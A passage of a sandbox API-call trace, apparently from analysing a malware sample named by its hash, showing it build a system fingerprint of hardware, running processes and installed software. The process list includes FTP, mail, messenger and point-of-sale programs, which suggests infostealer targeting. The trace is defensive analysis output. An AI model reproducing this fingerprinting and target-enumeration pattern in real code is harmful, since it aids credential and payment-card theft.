gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\n"
[0054.964] RegCloseKey (hKey=0x514) returned 0x0
[0054.965] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x27, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-001F-0C0A-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.965] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-001F-0C0A-0000-0000000FF1CE}") returned 90
[0054.965] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-001F-0C0A-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.965] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Herramientas de corrección de Microsoft Office 2016: español", lpcbData=0x1816c0*=0x3d) returned 0x0
[0054.965] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\n", lpString2="Herramientas de corrección de Microsoft Office 2016: español" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español"
[0054.965] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.965] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 